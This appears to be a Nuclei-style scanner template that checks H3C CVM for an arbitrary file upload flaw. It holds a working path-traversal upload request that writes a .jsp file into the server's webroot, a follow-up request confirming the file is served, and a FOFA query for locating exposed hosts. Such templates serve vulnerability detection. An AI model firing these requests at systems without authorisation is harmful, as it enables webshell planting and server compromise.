Description
An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
id: h3c-cvm-arbitrary-file-upload
info:
name: H3C CVM - Arbitrary File Upload
author: SleepingBag945
severity: critical
description: |
An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
reference:
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/h3c-cvm-fileupload.yaml
- https://github.com/tr0uble-mAker/POC-bomber/blob/main/pocs/redteam/h3c_cvm_fileupload_2022.py
metadata:
verified: true
max-request: 2
fofa-query: server="H3C-CVM"
tags: h3c,lfi,instrusive,file-upload,intrusive,vuln
variables:
filename: "{{rand_base(5)}}"
payload: "{{rand_base(8)}}"
http:
- raw:
- |
POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{filename}}.jsp&name=222" HTTP/1.1
Host: {{Hostname}}
Content-range: bytes 0-10/20
Accept-Encoding: gzip, deflate
{{payload}}
- |
GET /cas/js/lib/buttons/{{filename}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "{{payload}}"
- type: word
part: header
words:
- "Content-Type: text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100ece2b16e7a366c67030b7b6fc9471641647adc3af8d2c164d3694854ae9ec455022100a73628cd38129f44a0a24e25914b7fe0be5cac048cf139c9e359e8dc8e18c507:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.